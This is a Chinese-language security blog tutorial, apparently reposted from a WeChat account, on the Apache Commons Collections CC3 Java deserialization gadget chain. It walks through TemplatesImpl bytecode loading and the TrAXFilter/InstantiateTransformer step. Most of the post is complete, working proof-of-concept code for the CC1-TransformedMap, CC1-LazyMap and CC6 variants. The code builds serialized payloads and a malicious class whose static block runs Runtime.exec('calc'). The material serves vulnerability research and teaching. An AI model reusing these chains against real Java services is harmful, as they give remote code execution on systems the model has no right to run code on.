反序列化学习之路-Apache Commons Collections(CC3)

admin 2024年6月7日00:29:53评论5 views字数 14383阅读47分56秒阅读模式

前言

我们分析前两条链CC1和CC6时,都是利用invoke反射调用的Runtime().getRuntime().exec()来执行命令。而很多时候服务器的代码当中的黑名单会选择禁用Runtime

CC3链主要通过动态加载类加载机制来实现自动执行恶意类代码

CC3的sink点在于defineClass()

在类的动态加载中,有一种利用ClassLoader#defineClass直接加载字节码的手段

ClassLoader.loadClass()--->

ClassLoader.findClass()--->

ClassLoader.defineClass()

反序列化学习之路-Apache Commons Collections(CC3)

defineClass()往往都是protected类型的,作用是处理前面传入的字节码,将其处理称真正的Java类,我们平常使用只能通过反射去调用.

如果只加载恶意类,不初始化的话,是不会执行代码,还需要一个实例化操作

2.1 Templateslmpl类分析

我们寻找谁调用了这个方法,找到了TemplatesImpl类中TransletClassLoader#defineClass

TemplatesImpl类实现了Serializable接口,可以被序列化,但是

defineClass方法为默认Default,只能在自己类中使用

反序列化学习之路-Apache Commons Collections(CC3)

反序列化学习之路-Apache Commons Collections(CC3)

反序列化学习之路-Apache Commons Collections(CC3)

反序列化学习之路-Apache Commons Collections(CC3)

我们继续find Usages

反序列化学习之路-Apache Commons Collections(CC3)

我们可以看到私有方法defineTransletClasses调用了defineClass(),但是其中有一个if判断,在过程中我们不能让if (_bytecodes == null)判定成功,不然就会抛出错误中断了

反序列化学习之路-Apache Commons Collections(CC3)

在同类下的getTransletInstance方法中发现了调用,并且还有实例化操作,我们继续寻找

反序列化学习之路-Apache Commons Collections(CC3)

我们找到了一个公开的方法,接下来开始利用

2.2 Templateslmpl类利用

2.2.1 解决阻碍

在我们之前的分析中,我们能看到有很多的if条件,这些我们都需要提前去满足解决,才能让链正常的执行下去,我们从最上层开始分析限制条件

反序列化学习之路-Apache Commons Collections(CC3)

反序列化学习之路-Apache Commons Collections(CC3)

1. _name为String类型,不能为null

TemplatesImpl templates = new TemplatesImpl();Class ca = templates.getClass();Field name = ca.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"admin");

2. _class为Class类型的数据,必须为null   默认也是null,不用处理

3. _bytecodes为字节类型的二维数组,不能为null

Field byteField = ca.getDeclaredField("_bytecodes");byteField.setAccessible(true);byte[] evil = Files.readAllBytes(Paths.get("D:\tools\idea2023.3\untitled\target\classes\org\example\Calc.class"));byte[][] codes = {evil};byteField.set(templates,codes);

4. _tfactory为一个 TransformerFactoryImpl 类型不可序列化的transient的对象,并且初始化为 null,不能为空,他还需要执行方法

Field tfactory = ca.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,new TransformerFactoryImpl());

我们编写一个demo进行尝试

先写一个恶意类,并将该文件进行编译为class

public class Calc {    static {        try {            Runtime.getRuntime().exec("calc");        } catch (IOException e){            e.printStackTrace();        }    }}
    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        Class ca = templates.getClass();        Field name = ca.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"admin");        Field byteField = ca.getDeclaredField("_bytecodes");        byteField.setAccessible(true);        byte[] evil = Files.readAllBytes(Paths.get("D:\tools\idea2023.3\untitled\src\main\java\org\example\Calc.java"));        byte[][] codes = {evil};        byteField.set(templates,codes);        Field tfactory = ca.getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());        templates.newTransformer();    }

在运行之后会有一个空指针异常的错误

反序列化学习之路-Apache Commons Collections(CC3)

我们调试并定位到发生错误的代码处,发现_auxClasses是Null

反序列化学习之路-Apache Commons Collections(CC3)

所以我们现在有两种解决方法:

  1. 设置_auxClasses

2. 让这个if (superClass.getName().equals(ABSTRACT_TRANSLET))条件判断正确

如果我们设置_auxClasses的值,上面的_transletIndex值为-1,在426行代码进行一次判定,还是会抛出错误

反序列化学习之路-Apache Commons Collections(CC3)

所以我们选择第二个继续分析,只要让defineClass() 方法中传进去的参数 b 数组的字节码继承了 ABSTRACT_TRANSLET 这个父类,就会判定成功

反序列化学习之路-Apache Commons Collections(CC3)

我们修改弹计算器的测试代码

package org.example;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet {    static {        try {            Runtime.getRuntime().exec("calc");        } catch (IOException e){            e.printStackTrace();        }    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}

重新运行上面我们的测试代码

反序列化学习之路-Apache Commons Collections(CC3)

2.3 TrAXFilter分析及实例化

我们接着寻找newTransformer()的用法

反序列化学习之路-Apache Commons Collections(CC3)

反序列化学习之路-Apache Commons Collections(CC3)

发现在TrAXFilter 中调用了,但是我们也可以看到TrAXFilter没有继承序列化接口,所以不能反序列化

但是CC3的挖掘者发现了一个专门使用反射来动态创建对象的类InstantiateTransformer

反序列化学习之路-Apache Commons Collections(CC3)

反序列化学习之路-Apache Commons Collections(CC3)

我们可以使用这个类来实例化TrAXFilter,所以我们第一步先创建一个InstantiateTransformer实例,然后传入TrAXFilter.class

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},        new Object[]{templates});instantiateTransformer.transform(TrAXFilter.class);

反序列化学习之路-Apache Commons Collections(CC3)

整体POC

public class CC3 {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        Class ca = templates.getClass();        Field name = ca.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"admin");        Field byteField = ca.getDeclaredField("_bytecodes");        byteField.setAccessible(true);        byte[] evil = Files.readAllBytes(Paths.get("D:\tools\idea2023.3\untitled\target\classes\org\example\Calc.class"));        byte[][] codes = {evil};        byteField.set(templates,codes);        Field tfactory = ca.getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},                new Object[]{templates});        instantiateTransformer.transform(TrAXFilter.class);        //序列化//        serializable(o);//        unserializable();    }

反序列化学习之路-Apache Commons Collections(CC3)

2.4 CC1+TrAXFilter

我们结合CC1的入口到TrAXFilter的使用,构造POC

注意:在CC1中我们使用恒定转化器 ConstantTransformer 和链式转化器ChainedTransformer 来解决了setValue的值无法控制的问题,我们现在使用中同样要注意使用

package org.example;import com.oracle.jrockit.jfr.ValueDefinition;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3 {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        Class ca = templates.getClass();        Field name = ca.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"admin");        Field byteField = ca.getDeclaredField("_bytecodes");        byteField.setAccessible(true);        byte[] evil = Files.readAllBytes(Paths.get("D:\tools\idea2023.3\untitled\target\classes\org\example\Calc.class"));        byte[][] codes = {evil};        byteField.set(templates,codes);        Field tfactory = ca.getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},                new Object[]{templates});//        instantiateTransformer.transform(TrAXFilter.class);        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                instantiateTransformer        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        Map map = new HashMap();        map.put("id",1);        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);        constructor.setAccessible(true);        Object o = constructor.newInstance(ValueDefinition.class, transformedMap);        //序列化        serializable(o);//        unserializable();    }    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{        FileInputStream fis = new FileInputStream("obj");        ObjectInputStream ois = new ObjectInputStream(fis);        Object o = ois.readObject();        return o;    }    private static void serializable(Object o) throws IOException, ClassNotFoundException{        FileOutputStream fos = new FileOutputStream("obj");        ObjectOutputStream os = new ObjectOutputStream(fos);        os.writeObject(o);        os.close();    }}

用反序列化来执行上面生成的obj文件

public class CC {    public static void main(String[] args) throws Exception {        //命令执行代码        unserializable();    }    private static  Object unserializable() throws Exception,IOException, ClassNotFoundException{        FileInputStream fis = new FileInputStream("obj");        ObjectInputStream ois = new ObjectInputStream(fis);        Object o = ois.readObject();        return o;    }}

反序列化学习之路-Apache Commons Collections(CC3)

路线为

ObjectInputStream.readObject()    AnnotationInvocationHandler.readObject()        AbstractInputCheckedMapDecorator$MapEntry.setValue()            TransformedMap.checkSetValue()                ChainedTransformer.transform()                    ConstantTransformer.transform()                        instantiateTransformer.transform()                            TrAXFilter.TrAXFilter()                                TemplatesImpl.newTransformer()                                    definclass -> newInstance()

2.5 CC1_LazyMap + TrAXFilter

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3 {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        Class ca = templates.getClass();        Field name = ca.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"admin");        Field byteField = ca.getDeclaredField("_bytecodes");        byteField.setAccessible(true);        byte[] evil = Files.readAllBytes(Paths.get("D:\tools\idea2023.3\untitled\target\classes\org\example\Calc.class"));        byte[][] codes = {evil};        byteField.set(templates,codes);        Field tfactory = ca.getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},                new Object[]{templates});//        instantiateTransformer.transform(TrAXFilter.class);        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                instantiateTransformer        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        Map map = new HashMap();        Map Lazy = LazyMap.decorate(map,chainedTransformer);        Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);        aDe.setAccessible(true);        InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);        Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);        invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);        //序列化        serializable(invocationHandler);//        unserializable();    }    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{        FileInputStream fis = new FileInputStream("obj");        ObjectInputStream ois = new ObjectInputStream(fis);        Object o = ois.readObject();        return o;    }    private static void serializable(Object o) throws IOException, ClassNotFoundException{        FileOutputStream fos = new FileOutputStream("obj");        ObjectOutputStream os = new ObjectOutputStream(fos);        os.writeObject(o);        os.close();    }}

反序列化学习之路-Apache Commons Collections(CC3)

路线为

ObjectInputStream.readObject()    AnnotationInvocationHandler.readObject()        AnnotationInvocationHandler.invoke()            LazyMap.get()                ChainedTransformer.transform()                    ConstantTransformer.transform()                        instantiateTransformer.transform()                            TrAXFilter.TrAXFilter()                                TemplatesImpl.newTransformer()                                    definclass -> newInstance()

2.6 CC6 +TrAXFilter

package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3 {    public static void main(String[] args) throws Exception {        TemplatesImpl templates = new TemplatesImpl();        Class ca = templates.getClass();        Field name = ca.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"admin");        Field byteField = ca.getDeclaredField("_bytecodes");        byteField.setAccessible(true);        byte[] evil = Files.readAllBytes(Paths.get("D:\tools\idea2023.3\untitled\target\classes\org\example\Calc.class"));        byte[][] codes = {evil};        byteField.set(templates,codes);        Field tfactory = ca.getDeclaredField("_tfactory");        tfactory.setAccessible(true);        tfactory.set(templates,new TransformerFactoryImpl());//        templates.newTransformer();        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},                new Object[]{templates});//        instantiateTransformer.transform(TrAXFilter.class);        Transformer[] transformers = new Transformer[]{                new ConstantTransformer(TrAXFilter.class),                instantiateTransformer        };        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);        Map map = new HashMap();        Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));        TiedMapEntry tied = new TiedMapEntry(Lazy,0);        HashMap map1 = new HashMap();        map1.put(tied,1);        //本地执行put时,会调用 tiedmapTntry.hashcode lazyMap.get("0") 会让lazyMap key不为flase        Lazy.remove(0);  //remove掉put时 lazyMap里的key 使反序列化时能进入transform        Class c = LazyMap.class;        Field factory = c.getDeclaredField("factory");        factory.setAccessible(true);        factory.set(Lazy,chainedTransformer);        serializable(map1);    }//        unserializable();    private static  Object unserializable() throws Exception, IOException, ClassNotFoundException{        FileInputStream fis = new FileInputStream("obj");        ObjectInputStream ois = new ObjectInputStream(fis);        Object o = ois.readObject();        return o;    }    private static void serializable(Object o) throws IOException, ClassNotFoundException{        FileOutputStream fos = new FileOutputStream("obj");        ObjectOutputStream os = new ObjectOutputStream(fos);        os.writeObject(o);        os.close();    }}

反序列化学习之路-Apache Commons Collections(CC3)

路线为

HashMap.put()    HashMap.hash()        TiedMapEntry.hashCode()        TiedMapEntry.getValue()            LazyMap.get()                    ChainedTransformer.transform()                        instantiateTransformer.transform()                            TrAXFilter.TrAXFilter()                                TemplatesImpl.newTransformer()                                    definclass -> newInstance()

本系列其它文章:

年轻人的第一条反序列化链-URLDNS

反序列化学习之路-Apache Commons Collections(CC1)

反序列化学习之路-Apache Commons Collections(CC1)补充-LazyMap路线

反序列化学习之路-Apache Commons Collections(CC6)

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者及本公众号不为此承担任何责任

欢迎关注公众号“呼啦啦安全”,原创技术文章第一时间推送。

原文始发于微信公众号(呼啦啦安全):反序列化学习之路-Apache Commons Collections(CC3)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月7日00:29:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化学习之路-Apache Commons Collections(CC3)http://cn-sec.com/archives/2820988.html

发表评论

匿名网友 填写信息